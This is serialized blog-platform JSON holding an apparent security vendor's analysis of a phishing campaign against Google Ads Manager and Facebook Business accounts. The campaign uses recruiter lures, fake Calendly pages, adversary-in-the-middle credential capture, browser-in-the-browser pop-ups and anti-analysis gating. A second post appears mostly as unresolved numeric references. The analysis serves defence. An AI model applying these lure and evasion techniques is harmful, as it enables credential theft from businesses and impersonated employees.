",{"data":85891,"content":85892,"nodeType":866},{},[85893],{"data":85894,"marks":85895,"value":85896,"nodeType":865},{},[],"This lure is notable for multiple reasons. It is highly targeted, well-written, populated with information from the victim, and coming from what appears to be a legitimate employee of LVMH. Even if the victim was initially suspicious, searching for the recruiter’s name would appear to confirm their identity.  ",{"data":85898,"content":85899,"nodeType":866},{},[85900],{"data":85901,"marks":85902,"value":85903,"nodeType":865},{},[],"It is possible, even likely, that this interaction was operated using AI, using information scraped from the internet — but in any case, the outcome achieved is highly convincing. ",{"data":85905,"content":85909,"nodeType":912},{"target":85906},{"sys":85907},{"id":85908,"type":909,"linkType":910},"46BYpquURERbkhWc6C2Lpc",[],{"data":85911,"content":85912,"nodeType":866},{},[85913],{"data":85914,"marks":85915,"value":85916,"nodeType":865},{},[],"Only after the victim has responded to an initial email was the phishing link delivered under the guise of a Calendly link to book time for a call. ",{"data":85918,"content":85922,"nodeType":912},{"target":85919},{"sys":85920},{"id":85921,"type":909,"linkType":910},"37GBkfXGEdWvdQbMq65sad",[],{"data":85924,"content":85925,"nodeType":866},{},[85926],{"data":85927,"marks":85928,"value":85929,"nodeType":865},{},[],"Clicking the link takes the victim to an authentic-looking page impersonating a Calendly landing page.",{"data":85931,"content":85935,"nodeType":912},{"target":85932},{"sys":85933},{"id":85934,"type":909,"linkType":910},"1DwOPzK7mxsoJlEBp8cMpr",[],{"data":85937,"content":85938,"nodeType":866},{},[85939],{"data":85940,"marks":85941,"value":85942,"nodeType":865},{},[],"After completing the CAPTCHA check and selecting \"Continue with Google” the victim is redirected to an AiTM phishing page designed to capture Google Workspace credentials, with specific branding impersonating Calendly — making this visually distinct from most common Google-themed phishing pages. ",{"data":85944,"content":85948,"nodeType":912},{"target":85945},{"sys":85946},{"id":85947,"type":909,"linkType":910},"u1SY1uUX23sxfBYLpyaKb",[],{"data":85950,"content":85951,"nodeType":866},{},[85952,85956,85964,85968,85975],{"data":85953,"marks":85954,"value":85955,"nodeType":865},{},[],"This page uses ",{"data":85957,"content":85958,"nodeType":889},{"uri":66627},[85959],{"data":85960,"marks":85961,"value":85963,"nodeType":865},{},[85962],{"type":943},"specific targeting parameters",{"data":85965,"marks":85966,"value":85967,"nodeType":865},{},[]," to ensure that only the intended recipient is able to access the page’s malicious functionality — a well-known ",{"data":85969,"content":85970,"nodeType":889},{"uri":8862},[85971],{"data":85972,"marks":85973,"value":37925,"nodeType":865},{},[85974],{"type":943},{"data":85976,"marks":85977,"value":85978,"nodeType":865},{},[]," to prevent security analysts from being able to fully analyse the page (as malicious elements are not rendered until this check is completed). ",{"data":85980,"content":85981,"nodeType":866},{},[85982],{"data":85983,"marks":85984,"value":85985,"nodeType":865},{},[],"As you can see in the example below, attempts to use any email other than the intended victim’s email domain are blocked.   ",{"data":85987,"content":85991,"nodeType":912},{"target":85988},{"sys":85989},{"id":85990,"type":909,"linkType":910},"5m8LvVYjXz0zrITgTWqxio",[],{"data":85993,"content":85994,"nodeType":866},{},[85995],{"data":85996,"marks":85997,"value":85998,"nodeType":865},{},[],"Only entering an allowed email domain loads the password entry field. ",{"data":86000,"content":86004,"nodeType":912},{"target":86001},{"sys":86002},{"id":86003,"type":909,"linkType":910},"6KFRJSsgk2pB6x67kWdpws",[],{"data":86006,"content":86007,"nodeType":866},{},[86008],{"data":86009,"marks":86010,"value":86011,"nodeType":865},{},[],"We identified a number of pages that appear to be part of the same campaign. All these pages have the same visual style, Calendly-themed lure targeting Google Workspace accounts, and appear to match real employees of the respective companies being impersonated. ",{"data":86013,"content":86017,"nodeType":912},{"target":86014},{"sys":86015},{"id":86016,"type":909,"linkType":910},"zMkN1U5QlvIEcfOGmhBBf",[],{"data":86019,"content":86020,"nodeType":866},{},[86021],{"data":86022,"marks":86023,"value":86024,"nodeType":865},{},[],"The different pages include:",{"data":86026,"content":86027,"nodeType":1616},{},[86028,86038,86048,86058],{"data":86029,"content":86030,"nodeType":1570},{},[86031],{"data":86032,"content":86033,"nodeType":866},{},[86034],{"data":86035,"marks":86036,"value":86037,"nodeType":865},{},[],"A different visual match for the LVMH page.",{"data":86039,"content":86040,"nodeType":1570},{},[86041],{"data":86042,"content":86043,"nodeType":866},{},[86044],{"data":86045,"marks":86046,"value":86047,"nodeType":865},{},[],"A Lego recruitment themed page.",{"data":86049,"content":86050,"nodeType":1570},{},[86051],{"data":86052,"content":86053,"nodeType":866},{},[86054],{"data":86055,"marks":86056,"value":86057,"nodeType":865},{},[],"A Mastercard HR themed page.",{"data":86059,"content":86060,"nodeType":1570},{},[86061],{"data":86062,"content":86063,"nodeType":866},{},[86064],{"data":86065,"marks":86066,"value":86067,"nodeType":865},{},[],"An Uber recruitment themed page.",{"data":86069,"content":86070,"nodeType":972},{},[],{"data":86072,"content":86073,"nodeType":981},{},[86074],{"data":86075,"marks":86076,"value":86078,"nodeType":865},{},[86077],{"type":926},"Variant 2: Targeting Facebook Business accounts",{"data":86080,"content":86081,"nodeType":866},{},[86082],{"data":86083,"marks":86084,"value":86085,"nodeType":865},{},[],"Upon further investigation, we found links to a second phishing page style that appears to be part of a longer campaign targeting Facebook accounts, dating back more than two years. ",{"data":86087,"content":86088,"nodeType":866},{},[86089],{"data":86090,"marks":86091,"value":86092,"nodeType":865},{},[],"In total, we identified 31 unique URLs associated with the same campaign, many of which were recycled over time to impersonate different brands. ",{"data":86094,"content":86095,"nodeType":866},{},[86096],{"data":86097,"marks":86098,"value":86099,"nodeType":865},{},[],"Since most of these pages appeared to be older (and no longer live) they could not be analysed further, beyond giving an indication of how the phishing campaign has evolved over time. ",{"data":86101,"content":86105,"nodeType":912},{"target":86102},{"sys":86103},{"id":86104,"type":909,"linkType":910},"5PFRI9XtNVdkpYiRoIYpF",[],{"data":86107,"content":86108,"nodeType":972},{},[],{"data":86110,"content":86111,"nodeType":981},{},[86112],{"data":86113,"marks":86114,"value":86116,"nodeType":865},{},[86115],{"type":926},"Variant 3: Targeting both Google and Facebook accounts",{"data":86118,"content":86119,"nodeType":866},{},[86120],{"data":86121,"marks":86122,"value":86123,"nodeType":865},{},[],"We also discovered a third, more recent variant targeting both Google and Facebook accounts with Calendly-styled pages.",{"data":86125,"content":86126,"nodeType":866},{},[86127,86131,86140],{"data":86128,"marks":86129,"value":86130,"nodeType":865},{},[],"This variant looks to leverage a Browser-in-the-Browser style pop-up window similar to the ",{"data":86132,"content":86134,"nodeType":889},{"uri":86133},"https://pushsecurity.com/blog/analyzing-the-latest-sneaky2fa-phishing-page/",[86135],{"data":86136,"marks":86137,"value":86139,"nodeType":865},{},[86138],{"type":943},"Sneaky2FA attacks we reported on recently",{"data":86141,"marks":86142,"value":86143,"nodeType":865},{},[],". BITB allows the attacker to mask the phishing page URL by presenting a fake URL set by the attacker, inside a pop-up login window. ",{"data":86145,"content":86149,"nodeType":912},{"target":86146},{"sys":86147},{"id":86148,"type":909,"linkType":910},"7w4cmyqPvhxAFrokaK9CE1",[],{"data":86151,"content":86155,"nodeType":912},{"target":86152},{"sys":86153},{"id":86154,"type":909,"linkType":910},"6FUSNecz0BXLxJxoJTsALD",[],{"data":86157,"content":86161,"nodeType":912},{"target":86158},{"sys":86159},{"id":86160,"type":909,"linkType":910},"2zwFDrgsLuxi4Xv2q0nPFK",[],{"data":86163,"content":86164,"nodeType":866},{},[86165],{"data":86166,"marks":86167,"value":86168,"nodeType":865},{},[],"The attacker also implemented additional anti-analysis functionality, beyond the specific domain targeting we observed in the first page variant — the result of which meant the page IP blocked us from interacting with it further. ",{"data":86170,"content":86174,"nodeType":912},{"target":86171},{"sys":86172},{"id":86173,"type":909,"linkType":910},"3ZPdxi5cGZcn5hF1ISIUa7",[],{"data":86176,"content":86180,"nodeType":912},{"target":86177},{"sys":86178},{"id":86179,"type":909,"linkType":910},"3J5pmgNL9LevE1FdX4oksf",[],{"data":86182,"content":86183,"nodeType":866},{},[86184,86188,86197],{"data":86185,"marks":86186,"value":86187,"nodeType":865},{},[],"Often ",{"data":86189,"content":86191,"nodeType":889},{"uri":86190},"https://phishing-techniques.pushsecurity.com/techniques/anti-sandbox/",[86192],{"data":86193,"marks":86194,"value":86196,"nodeType":865},{},[86195],{"type":943},"accessing dev tools",{"data":86198,"marks":86199,"value":86200,"nodeType":865},{},[]," on a page is enough to trigger this, specifically targeting security analysts and web-crawling security bots/tools. ",{"data":86202,"content":86203,"nodeType":972},{},[],{"data":86205,"content":86206,"nodeType":981},{},[86207],{"data":86208,"marks":86209,"value":86211,"nodeType":865},{},[86210],{"type":926},"Why are attackers targeting business ad management accounts?",{"data":86213,"content":86214,"nodeType":866},{},[86215,86219,86227],{"data":86216,"marks":86217,"value":86218,"nodeType":865},{},[],"The campaign shows signs of being a long-running, targeted initiative focused on compromising accounts responsible for managing digital ads on behalf of businesses. The attackers have demonstrated that they are continuing to iterate on their TTPs, introducing new page styles with increased sophistication, and new ",{"data":86220,"content":86222,"nodeType":889},{"uri":86221},"https://phishing-techniques.pushsecurity.com/#techniques-table",[86223],{"data":86224,"marks":86225,"value":8868,"nodeType":865},{},[86226],{"type":943},{"data":86228,"marks":86229,"value":86230,"nodeType":865},{},[]," to defeat security analysis tools.  ",{"data":86232,"content":86236,"nodeType":912},{"target":86233},{"sys":86234},{"id":86235,"type":909,"linkType":910},"m5GsTsDb55T70MU2m72B1",[],{"data":86238,"content":86239,"nodeType":866},{},[86240],{"data":86241,"marks":86242,"value":86243,"nodeType":865},{},[],"We also discovered that Google recently issued a security warning specifically for agency organizations managing ads for a number of businesses, urging them to create security alerts whenever a new account is added to a Manager Account (MCC) used to view and manage multiple Google Ads accounts from a single view. ",{"data":86245,"content":86246,"nodeType":866},{},[86247,86250,86257],{"data":86248,"marks":86249,"value":85613,"nodeType":865},{},[],{"data":86251,"content":86252,"nodeType":889},{"uri":14355},[86253],{"data":86254,"marks":86255,"value":315,"nodeType":865},{},[86256],{"type":943},{"data":86258,"marks":86259,"value":85624,"nodeType":865},{},[],{"data":86261,"content":86262,"nodeType":1317},{},[86263],{"data":86264,"marks":86265,"value":86267,"nodeType":865},{},[86266],{"type":926},"Why are attackers turning to malvertising?",{"data":86269,"content":86270,"nodeType":866},{},[86271],{"data":86272,"marks":86273,"value":86274,"nodeType":865},{},[],"Malvertising attacks delivered over search engines (e.g. Google Search) and social media apps (Facebook, LinkedIn, etc.) are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":86276,"content":86277,"nodeType":866},{},[86278],{"data":86279,"marks":86280,"value":86281,"nodeType":865},{},[],"The flipside of this is that malvertising attacks are less likely to be targeted than phishing delivered directly to the victim via a direct message (i.e. email, social media DM, instant messenger app, SMS, etc.). ",{"data":86283,"content":86284,"nodeType":866},{},[86285],{"data":86286,"marks":86287,"value":85592,"nodeType":865},{},[],{"data":86289,"content":86290,"nodeType":866},{},[86291,86295,86302],{"data":86292,"marks":86293,"value":86294,"nodeType":865},{},[],"Malvertising is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":86296,"content":86297,"nodeType":889},{"uri":4991},[86298],{"data":86299,"marks":86300,"value":8673,"nodeType":865},{},[86301],{"type":943},{"data":86303,"marks":86304,"value":86305,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). For this reason, credentials and access are an increasingly profitable commodity for cyber criminals. ",{"data":86307,"content":86308,"nodeType":1317},{},[86309],{"data":86310,"marks":86311,"value":86313,"nodeType":865},{},[86312],{"type":926},"Additional considerations",{"data":86315,"content":86316,"nodeType":866},{},[86317],{"data":86318,"marks":86319,"value":86320,"nodeType":865},{},[],"As previously mentioned, compromising a Google Workspace account (particularly where it is the primary enterprise cloud platform used by the organization) provides comprehensive access to business apps, data, and functionality that can be exploited by attackers — effectively, it’s the access point to modern business IT. There’s a good chance that attackers establishing a foothold in this way would look to leverage this access further, or at least sell on that access to a criminal group looking to take the attack further. ",{"data":86322,"content":86326,"nodeType":912},{"target":86323},{"sys":86324},{"id":86325,"type":909,"linkType":910},"7jnQqRk0JuqEtrQ3HXy3f8",[],{"data":86328,"content":86329,"nodeType":972},{},[],{"data":86331,"content":86332,"nodeType":981},{},[86333],{"data":86334,"marks":86335,"value":67181,"nodeType":865},{},[86336],{"type":926},{"data":86338,"content":86339,"nodeType":866},{},[86340],{"data":86341,"marks":86342,"value":86343,"nodeType":865},{},[],"We have opted not to provide the domains associated with that campaign to preserve the privacy of the individuals being impersonated by the attacker. In many cases, their full name was included in the URL for the phishing page, while their name and profile picture (most likely scraped from LinkedIn) are also visible on the landing page. ",{"data":86345,"content":86346,"nodeType":866},{},[86347],{"data":86348,"marks":86349,"value":85750,"nodeType":865},{},[],{"data":86351,"content":86352,"nodeType":972},{},[],{"data":86354,"content":86355,"nodeType":981},{},[86356],{"data":86357,"marks":86358,"value":2270,"nodeType":865},{},[86359],{"type":926},{"data":86361,"content":86362,"nodeType":866},{},[86363],{"data":86364,"marks":86365,"value":86366,"nodeType":865},{},[],"Push researchers are continuously analysing and developing new detections based on the latest phishing kits and TTPs which enables us to stay two steps ahead of attackers.",{"data":86368,"content":86369,"nodeType":866},{},[86370],{"data":86371,"marks":86372,"value":53863,"nodeType":865},{},[],{"data":86374,"content":86375,"nodeType":866},{},[86376,86379,86386,86389,86396],{"data":86377,"marks":86378,"value":11372,"nodeType":865},{},[],{"data":86380,"content":86381,"nodeType":889},{"uri":11375},[86382],{"data":86383,"marks":86384,"value":11381,"nodeType":865},{},[86385],{"type":943},{"data":86387,"marks":86388,"value":53880,"nodeType":865},{},[],{"data":86390,"content":86391,"nodeType":889},{"uri":1372},[86392],{"data":86393,"marks":86394,"value":11405,"nodeType":865},{},[86395],{"type":943},{"data":86397,"marks":86398,"value":1615,"nodeType":865},{},[],{"data":86400,"content":86403,"nodeType":912},{"target":86401},{"sys":86402},{"id":67359,"type":909,"linkType":910},[],{"data":86405,"content":86406,"nodeType":866},{},[86407],{"data":86408,"marks":86409,"value":21,"nodeType":865},{},[],"Investigating a phishing campaign targeting Google Ads Manager MCC accounts to propagate malvertising lures. ",{"items":86412},[86413,86415],{"sys":86414,"name":7796},{"id":7795},{"sys":86416,"name":342},{"id":4642},{"items":86418},[86419],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":86420},{"url":11425},"blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs",{"json":86423},{"data":86424,"content":86425,"nodeType":1382},{},[86426],{"data":86427,"content":86428,"nodeType":866},{},[86429],{"data":86430,"marks":86431,"value":86432,"nodeType":865},{},[],"In December, we reported on malvertising attacks delivered via Google Search specifically targeting Google Ad Manager accounts. Now, we’ve intercepted more attacks targeting Push customers, this time impersonating Ahrefs. Here’s what you need to know. ",{"id":33828,"publishedAt":86434},"2026-08-12T11:53:21.526Z",{"items":86436},[86437,86439],{"sys":86438,"name":342},{"id":4642},{"sys":86440,"name":7796},{"id":7795},{"items":86442},[86443,86445,86447,86449,86451,86453,86455,86457,86459],{"sys":86444,"name":279,"slug":280,"tier":31},{"id":276},{"sys":86446,"name":519,"slug":520,"tier":31},{"id":516},{"sys":86448,"name":342,"slug":343,"tier":31},{"id":339},{"sys":86450,"name":440,"slug":441,"tier":45},{"id":437},{"sys":86452,"name":261,"slug":262,"tier":45},{"id":258},{"sys":86454,"name":571,"slug":572,"tier":45},{"id":568},{"sys":86456,"name":324,"slug":325,"tier":45},{"id":321},{"sys":86458,"name":475,"slug":476,"tier":45},{"id":472},{"sys":86460,"name":431,"slug":432,"tier":45},{"id":428},"KnvzO0A4xbnGOCUl5iUeBFfmPD0Jf_MV-PD_yGFadcc",{"id":86463,"title":80702,"authorsCollection":86464,"content":86468,"extension":228,"faqItemsCollection":87737,"faqTitle":59,"featured":6,"hashTags":59,"meta":87739,"metaTitle":87740,"ogImage":59,"postType":87741,"publishedDate":80704,"relatedBlogPostsCollection":87742,"slug":80705,"stem":89913,"subtitle":59,"summary":89914,"synopsis":80703,"sys":89925,"tagsCollection":89927,"topicsCollection":89933,"__hash__":89977},"blog/blog/taking-the-fight-to-attackers-top-features-of-2025.json",{"items":86465},[86466],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":86467},{"url":6503},{"json":86469,"links":87589},{"data":86470,"content":86471,"nodeType":1382},{},[86472,86478,86484,86541,86547,86605,86610,86616,86622,86625,86631,86637,86643,86729,86744,86750,86787,86793,86799,86805,86835,86840,86867,86872,86878,86884,86914,86931,86934,86940,86946,86970,86976,86982,86988,86994,87000,87005,87018,87057,87062,87079,87082,87088,87094,87111,87117,87143,87160,87166,87183,87189,87195,87246,87252,87257,87270,87283,87300,87305,87322,87328,87331,87337,87343,87349,87355,87372,87378,87395,87400,87406,87436,87453,87456,87462,87468,87474,87491,87497,87510,87515,87521,87527,87544,87547,87553,87559,87565],{"data":86473,"content":86474,"nodeType":866},{},[86475],{"data":86476,"marks":86477,"value":79429,"nodeType":865},{},[],{"data":86479,"content":86480,"nodeType":866},{},[86481],{"data":86482,"marks":86483,"value":79436,"nodeType":865},{},[],{"data":86485,"content":86486,"nodeType":1616},{},[86487,86505,86523],{"data":86488,"content":86489,"nodeType":1570},{},[86490],{"data":86491,"content":86492,"nodeType":866},{},[86493,86496,86502],{"data":86494,"marks":86495,"value":79449,"nodeType":865},{},[],{"data":86497,"content":86498,"nodeType":889},{"uri":53672},[86499],{"data":86500,"marks":86501,"value":8641,"nodeType":865},{},[],{"data":86503,"marks":86504,"value":53681,"nodeType":865},{},[],{"data":86506,"content":86507,"nodeType":1570},{},[86508],{"data":86509,"content":86510,"nodeType":866},{},[86511,86514,86520],{"data":86512,"marks":86513,"value":79468,"nodeType":865},{},[],{"data":86515,"content":86516,"nodeType":889},{"uri":53672},[86517],{"data":86518,"marks":86519,"value":8641,"nodeType":865},{},[],{"data":86521,"marks":86522,"value":53681,"nodeType":865},{},[],{"data":86524,"content":86525,"nodeType":1570},{},[86526],{"data":86527,"content":86528,"nodeType":866},{},[86529,86532,86538],{"data":86530,"marks":86531,"value":79487,"nodeType":865},{},[],{"data":86533,"content":86534,"nodeType":889},{"uri":53694},[86535],{"data":86536,"marks":86537,"value":79494,"nodeType":865},{},[],{"data":86539,"marks":86540,"value":53681,"nodeType":865},{},[],{"data":86542,"content":86543,"nodeType":866},{},[86544],{"data":86545,"marks":86546,"value":79504,"nodeType":865},{},[],{"data":86548,"content":86549,"nodeType":1616},{},[86550,86566,86589],{"data":86551,"content":86552,"nodeType":1570},{},[86553],{"data":86554,"content":86555,"nodeType":866},{},[86556,86559,86563],{"data":86557,"marks":86558,"value":79517,"nodeType":865},{},[],{"data":86560,"marks":86561,"value":79522,"nodeType":865},{},[86562],{"type":926},{"data":86564,"marks":86565,"value":79526,"nodeType":865},{},[],{"data":86567,"content":86568,"nodeType":1570},{},[86569],{"data":86570,"content":86571,"nodeType":866},{},[86572,86575,86579,86582,86586],{"data":86573,"marks":86574,"value":79536,"nodeType":865},{},[],{"data":86576,"marks":86577,"value":79541,"nodeType":865},{},[86578],{"type":926},{"data":86580,"marks":86581,"value":79545,"nodeType":865},{},[],{"data":86583,"marks":86584,"value":79550,"nodeType":865},{},[86585],{"type":926},{"data":86587,"marks":86588,"value":79554,"nodeType":865},{},[],{"data":86590,"content":86591,"nodeType":1570},{},[86592],{"data":86593,"content":86594,"nodeType":866},{},[86595,86598,86602],{"data":86596,"marks":86597,"value":79564,"nodeType":865},{},[],{"data":86599,"marks":86600,"value":79569,"nodeType":865},{},[86601],{"type":926},{"data":86603,"marks":86604,"value":79573,"nodeType":865},{},[],{"data":86606,"content":86609,"nodeType":912},{"target":86607},{"sys":86608},{"id":79578,"type":909,"linkType":910},[],{"data":86611,"content":86612,"nodeType":866},{},[86613],{"data":86614,"marks":86615,"value":79586,"nodeType":865},{},[],{"data":86617,"content":86618,"nodeType":866},{},[86619],{"data":86620,"marks":86621,"value":79593,"nodeType":865},{},[],{"data":86623,"content":86624,"nodeType":972},{},[],{"data":86626,"content":86627,"nodeType":981},{},[86628],{"data":86629,"marks":86630,"value":79603,"nodeType":865},{},[],{"data":86632,"content":86633,"nodeType":1317},{},[86634],{"data":86635,"marks":86636,"value":79610,"nodeType":865},{},[],{"data":86638,"content":86639,"nodeType":866},{},[86640],{"data":86641,"marks":86642,"value":79617,"nodeType":865},{},[],{"data":86644,"content":86645,"nodeType":1616},{},[86646,86670,86705],{"data":86647,"content":86648,"nodeType":1570},{},[86649],{"data":86650,"content":86651,"nodeType":866},{},[86652,86656,86659,86667],{"data":86653,"marks":86654,"value":79631,"nodeType":865},{},[86655],{"type":926},{"data":86657,"marks":86658,"value":79635,"nodeType":865},{},[],{"data":86660,"content":86663,"nodeType":33606},{"target":86661},{"sys":86662},{"id":79640,"type":909,"linkType":910},[86664],{"data":86665,"marks":86666,"value":79645,"nodeType":865},{},[],{"data":86668,"marks":86669,"value":79649,"nodeType":865},{},[],{"data":86671,"content":86672,"nodeType":1570},{},[86673],{"data":86674,"content":86675,"nodeType":866},{},[86676,86680,86683,86691,86694,86702],{"data":86677,"marks":86678,"value":79660,"nodeType":865},{},[86679],{"type":926},{"data":86681,"marks":86682,"value":79664,"nodeType":865},{},[],{"data":86684,"content":86687,"nodeType":33606},{"target":86685},{"sys":86686},{"id":79669,"type":909,"linkType":910},[86688],{"data":86689,"marks":86690,"value":441,"nodeType":865},{},[],{"data":86692,"marks":86693,"value":79677,"nodeType":865},{},[],{"data":86695,"content":86698,"nodeType":33606},{"target":86696},{"sys":86697},{"id":79682,"type":909,"linkType":910},[86699],{"data":86700,"marks":86701,"value":79687,"nodeType":865},{},[],{"data":86703,"marks":86704,"value":6719,"nodeType":865},{},[],{"data":86706,"content":86707,"nodeType":1570},{},[86708],{"data":86709,"content":86710,"nodeType":866},{},[86711,86715,86718,86726],{"data":86712,"marks":86713,"value":79701,"nodeType":865},{},[86714],{"type":926},{"data":86716,"marks":86717,"value":79705,"nodeType":865},{},[],{"data":86719,"content":86722,"nodeType":33606},{"target":86720},{"sys":86721},{"id":79710,"type":909,"linkType":910},[86723],{"data":86724,"marks":86725,"value":79715,"nodeType":865},{},[],{"data":86727,"marks":86728,"value":79719,"nodeType":865},{},[],{"data":86730,"content":86731,"nodeType":866},{},[86732,86735,86741],{"data":86733,"marks":86734,"value":79726,"nodeType":865},{},[],{"data":86736,"content":86737,"nodeType":889},{"uri":79729},[86738],{"data":86739,"marks":86740,"value":79734,"nodeType":865},{},[],{"data":86742,"marks":86743,"value":79738,"nodeType":865},{},[],{"data":86745,"content":86746,"nodeType":866},{},[86747],{"data":86748,"marks":86749,"value":79745,"nodeType":865},{},[],{"data":86751,"content":86752,"nodeType":1616},{},[86753,86762,86778],{"data":86754,"content":86755,"nodeType":1570},{},[86756],{"data":86757,"content":86758,"nodeType":866},{},[86759],{"data":86760,"marks":86761,"value":79758,"nodeType":865},{},[],{"data":86763,"content":86764,"nodeType":1570},{},[86765],{"data":86766,"content":86767,"nodeType":866},{},[86768,86771,86775],{"data":86769,"marks":86770,"value":79768,"nodeType":865},{},[],{"data":86772,"marks":86773,"value":79773,"nodeType":865},{},[86774],{"type":898},{"data":86776,"marks":86777,"value":79777,"nodeType":865},{},[],{"data":86779,"content":86780,"nodeType":1570},{},[86781],{"data":86782,"content":86783,"nodeType":866},{},[86784],{"data":86785,"marks":86786,"value":79787,"nodeType":865},{},[],{"data":86788,"content":86789,"nodeType":866},{},[86790],{"data":86791,"marks":86792,"value":79794,"nodeType":865},{},[],{"data":86794,"content":86795,"nodeType":1317},{},[86796],{"data":86797,"marks":86798,"value":79801,"nodeType":865},{},[],{"data":86800,"content":86801,"nodeType":866},{},[86802],{"data":86803,"marks":86804,"value":79808,"nodeType":865},{},[],{"data":86806,"content":86807,"nodeType":1616},{},[86808,86817,86826],{"data":86809,"content":86810,"nodeType":1570},{},[86811],{"data":86812,"content":86813,"nodeType":866},{},[86814],{"data":86815,"marks":86816,"value":79821,"nodeType":865},{},[],{"data":86818,"content":86819,"nodeType":1570},{},[86820],{"data":86821,"content":86822,"nodeType":866},{},[86823],{"data":86824,"marks":86825,"value":79831,"nodeType":865},{},[],{"data":86827,"content":86828,"nodeType":1570},{},[86829],{"data":86830,"content":86831,"nodeType":866},{},[86832],{"data":86833,"marks":86834,"value":79841,"nodeType":865},{},[],{"data":86836,"content":86839,"nodeType":912},{"target":86837},{"sys":86838},{"id":79846,"type":909,"linkType":910},[],{"data":86841,"content":86842,"nodeType":866},{},[86843,86846,86850,86853,86857,86860,86864],{"data":86844,"marks":86845,"value":79854,"nodeType":865},{},[],{"data":86847,"marks":86848,"value":79859,"nodeType":865},{},[86849],{"type":926},{"data":86851,"marks":86852,"value":2717,"nodeType":865},{},[],{"data":86854,"marks":86855,"value":79867,"nodeType":865},{},[86856],{"type":926},{"data":86858,"marks":86859,"value":3476,"nodeType":865},{},[],{"data":86861,"marks":86862,"value":79875,"nodeType":865},{},[86863],{"type":926},{"data":86865,"marks":86866,"value":79879,"nodeType":865},{},[],{"data":86868,"content":86871,"nodeType":912},{"target":86869},{"sys":86870},{"id":79884,"type":909,"linkType":910},[],{"data":86873,"content":86874,"nodeType":866},{},[86875],{"data":86876,"marks":86877,"value":79892,"nodeType":865},{},[],{"data":86879,"content":86880,"nodeType":866},{},[86881],{"data":86882,"marks":86883,"value":79899,"nodeType":865},{},[],{"data":86885,"content":86886,"nodeType":1616},{},[86887,86896,86905],{"data":86888,"content":86889,"nodeType":1570},{},[86890],{"data":86891,"content":86892,"nodeType":866},{},[86893],{"data":86894,"marks":86895,"value":79912,"nodeType":865},{},[],{"data":86897,"content":86898,"nodeType":1570},{},[86899],{"data":86900,"content":86901,"nodeType":866},{},[86902],{"data":86903,"marks":86904,"value":79922,"nodeType":865},{},[],{"data":86906,"content":86907,"nodeType":1570},{},[86908],{"data":86909,"content":86910,"nodeType":866},{},[86911],{"data":86912,"marks":86913,"value":79932,"nodeType":865},{},[],{"data":86915,"content":86916,"nodeType":866},{},[86917,86920,86928],{"data":86918,"marks":86919,"value":79939,"nodeType":865},{},[],{"data":86921,"content":86924,"nodeType":33606},{"target":86922},{"sys":86923},{"id":79944,"type":909,"linkType":910},[86925],{"data":86926,"marks":86927,"value":79949,"nodeType":865},{},[],{"data":86929,"marks":86930,"value":1615,"nodeType":865},{},[],{"data":86932,"content":86933,"nodeType":972},{},[],{"data":86935,"content":86936,"nodeType":981},{},[86937],{"data":86938,"marks":86939,"value":79962,"nodeType":865},{},[],{"data":86941,"content":86942,"nodeType":1317},{},[86943],{"data":86944,"marks":86945,"value":79610,"nodeType":865},{},[],{"data":86947,"content":86948,"nodeType":866},{},[86949,86952,86958,86961,86967],{"data":86950,"marks":86951,"value":79975,"nodeType":865},{},[],{"data":86953,"content":86954,"nodeType":889},{"uri":79978},[86955],{"data":86956,"marks":86957,"value":79983,"nodeType":865},{},[],{"data":86959,"marks":86960,"value":79987,"nodeType":865},{},[],{"data":86962,"content":86963,"nodeType":889},{"uri":79990},[86964],{"data":86965,"marks":86966,"value":79995,"nodeType":865},{},[],{"data":86968,"marks":86969,"value":79999,"nodeType":865},{},[],{"data":86971,"content":86972,"nodeType":866},{},[86973],{"data":86974,"marks":86975,"value":80006,"nodeType":865},{},[],{"data":86977,"content":86978,"nodeType":866},{},[86979],{"data":86980,"marks":86981,"value":80013,"nodeType":865},{},[],{"data":86983,"content":86984,"nodeType":866},{},[86985],{"data":86986,"marks":86987,"value":80020,"nodeType":865},{},[],{"data":86989,"content":86990,"nodeType":1317},{},[86991],{"data":86992,"marks":86993,"value":79801,"nodeType":865},{},[],{"data":86995,"content":86996,"nodeType":866},{},[86997],{"data":86998,"marks":86999,"value":80033,"nodeType":865},{},[],{"data":87001,"content":87004,"nodeType":912},{"target":87002},{"sys":87003},{"id":80038,"type":909,"linkType":910},[],{"data":87006,"content":87007,"nodeType":866},{},[87008,87011,87015],{"data":87009,"marks":87010,"value":80046,"nodeType":865},{},[],{"data":87012,"marks":87013,"value":79875,"nodeType":865},{},[87014],{"type":926},{"data":87016,"marks":87017,"value":80054,"nodeType":865},{},[],{"data":87019,"content":87020,"nodeType":1616},{},[87021,87030,87039,87048],{"data":87022,"content":87023,"nodeType":1570},{},[87024],{"data":87025,"content":87026,"nodeType":866},{},[87027],{"data":87028,"marks":87029,"value":80067,"nodeType":865},{},[],{"data":87031,"content":87032,"nodeType":1570},{},[87033],{"data":87034,"content":87035,"nodeType":866},{},[87036],{"data":87037,"marks":87038,"value":80077,"nodeType":865},{},[],{"data":87040,"content":87041,"nodeType":1570},{},[87042],{"data":87043,"content":87044,"nodeType":866},{},[87045],{"data":87046,"marks":87047,"value":80087,"nodeType":865},{},[],{"data":87049,"content":87050,"nodeType":1570},{},[87051],{"data":87052,"content":87053,"nodeType":866},{},[87054],{"data":87055,"marks":87056,"value":80097,"nodeType":865},{},[],{"data":87058,"content":87061,"nodeType":912},{"target":87059},{"sys":87060},{"id":80102,"type":909,"linkType":910},[],{"data":87063,"content":87064,"nodeType":866},{},[87065,87068,87076],{"data":87066,"marks":87067,"value":80110,"nodeType":865},{},[],{"data":87069,"content":87072,"nodeType":33606},{"target":87070},{"sys":87071},{"id":58007,"type":909,"linkType":910},[87073],{"data":87074,"marks":87075,"value":80119,"nodeType":865},{},[],{"data":87077,"marks":87078,"value":1615,"nodeType":865},{},[],{"data":87080,"content":87081,"nodeType":972},{},[],{"data":87083,"content":87084,"nodeType":981},{},[87085],{"data":87086,"marks":87087,"value":80132,"nodeType":865},{},[],{"data":87089,"content":87090,"nodeType":1317},{},[87091],{"data":87092,"marks":87093,"value":79610,"nodeType":865},{},[],{"data":87095,"content":87096,"nodeType":866},{},[87097,87100,